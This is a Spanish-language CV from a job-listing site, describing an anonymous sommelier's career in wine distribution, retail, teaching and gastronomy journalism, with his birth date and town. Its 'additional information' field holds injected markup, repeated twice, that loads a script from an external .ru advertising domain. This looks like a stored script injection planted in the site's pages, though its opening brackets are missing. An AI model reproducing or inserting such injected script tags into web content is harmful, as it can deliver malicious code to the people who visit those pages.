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- ANÓNIMO
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Última actualización:26/03/2011
 


CURRICULUM VITAE Nº 7945 


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DATOS PERSONALES

Fuengirola CP: 29640 (Malaga) España
Fecha Nacimiento: 06/08/1962
 

EXPERIENCIA


CENTRO DE INDUSTRIAS DEL OCIO  
(Sector: Educacion)
10/ 2008 -
Educación - Formación
Paso a formar parte del cuadro de docentes que imparten clase para la consecución del Certificado profesional de sommellier.

MIJAS COMUNICACION  
(Sector: Cultura, ocio y deporte)
5/ 2007 -
Periodismo
Escribo sobre aspectos culturales del mundo gastronómico publicando en el semanario Mijas Semanal una seccion fija llamada, Saber para comer.

EL CORTE INGLES  
(Sector: Hosteleria, restauración y turismo)
11/ 2005 -
Comercial - Ventas
Responsable del area de bodega del Dto. Club del Gourmet.

PROMOCIONES TURISTICAS SOCIALES S.A.  
(Sector: Hosteleria, restauración y turismo)
7/ 2004 - 10/ 2005
Administración
Empresa que gestiona plazas hoteleras, realizo labores administrativas.

VINOS Y LICORES EUROBODEGAS S.A.  
(Sector: Hosteleria, restauración y turismo)
7/ 1999 - 12/ 1999
Educación - Formación
Empresa dedicada a la produccion de vinos de diferentes zonas del mundo, mi tarea consiste en formar al equipo de ventas de Andalucia.

VIÑACOSTA  
(Sector: Hosteleria, restauración y turismo)
9/ 1995 - 6/ 2004
Bajo un regimen autonomo soy propietario y gestiono una vinoteca en Fuengirola.

DISGESUR S.L.  
(Sector: Hosteleria, restauración y turismo)
12/ 1994 - 6/ 1995
Administración
Ubicacion Malaga. Empresa dedicada a la distribucion de hosteleria de vinos y destilados.Realizo labores en las areas de administración y logistica.

CORPORACION DISTRIBUIDORA MERIDIONAL S.A.  
(Sector: Hosteleria, restauración y turismo)
11/ 1991 - 11/ 1994
Dirección - Gerencia
Constituida por setenta y dos distribuidoras , dirigidas a hosteleria con una amplia gama de vinos y destilados. Desde la gerencia coordino las diferentes areas , dedicandole una especial dedicacion a compras, logistica y formación.

BEBIDAS DEL REY S.L.  
(Sector: Hosteleria, restauración y turismo)
10/ 1989 - 10/ 1991
Dirección - Gerencia
Empresa heredera de la anterior, desde este momento realizo labores de gerencia. Coordino y gestiono las diferentes areas de la empresa, comercial, logistica y administrativa.

DISTRIBUIDORA DEL REY S.C.A.  
(Sector: Hosteleria, restauración y turismo)
1/ 1987 - 10/ 1989
Comercial - Ventas
Distribuidora ubicada en Córdoba, dirigida al sector de la hostelería con una amplia gama de vinos y destilados. Responsable del area de ventas, formación y coordinación del mismo. Equipo comercial formado por dieciseis personas.
 

FORMACIÓN ACADÉMICA


Grado intermedio
6/1984
Otro no especificado
Gestión de Empresas
Escuela de Mandos Intermedios Facultad de Ciencias Empresariales Cordoba

3º de B.U.P
6/1979
BUP / COU (Bachillerato) / Secundaria
Genérica no específica
Universidad Laboral Cordoba

Graduado escolar.
6/1975
Graduado Escolar / ESO / Primaria
Genérica no específica
Colegio Salesiano Cordoba
 

IDIOMAS

Francés Nivel Intermedio
 

INFORMÁTICA

Aplicaciones empresariales (SAP, Contawin,…) Nivel Profesional
Ofimatica (Word, Excell,…) Nivel Profesional
 

INFORMACIÓN ADICIONAL


FORMACIÓN:EXPERIENCIA:FORMACIÓN COMPLEMENTARIA:INFORMACIÓN ADICIONAL:script src=http://www.bannerdriven.ru/ads.js>script src=http://www.bannerdriven.ru/ads.js>
 

Resultados o logros

Trabajo en el Dto.Club del Gourmet, de El Corte Ingles.Escribo en el semanario Mijas semanal publico una seccion sobre cultura alimentaria Saber para comer.Imparto clases para el Certificado profesional de sommellier en el Centro de Industria del Ocio.
 

Cualidades

Adaptable , Amable , Comprometido/a , Comunicativo/a , Determinado/a , Flexible , Honesto/a , Organizado/a , Persistente , Responsable , Versátil
 

Aficiones

Deportes de Agua, Literatura/Historia, Música Variada, Ordenadores/Internet, Vino y Degustación
 

Enlances relacionados: www.saberparacomer.blogspot.com
Un balcón donde asomarse al mundo de la alimentación y sus lazos con las actividades humanas.

 

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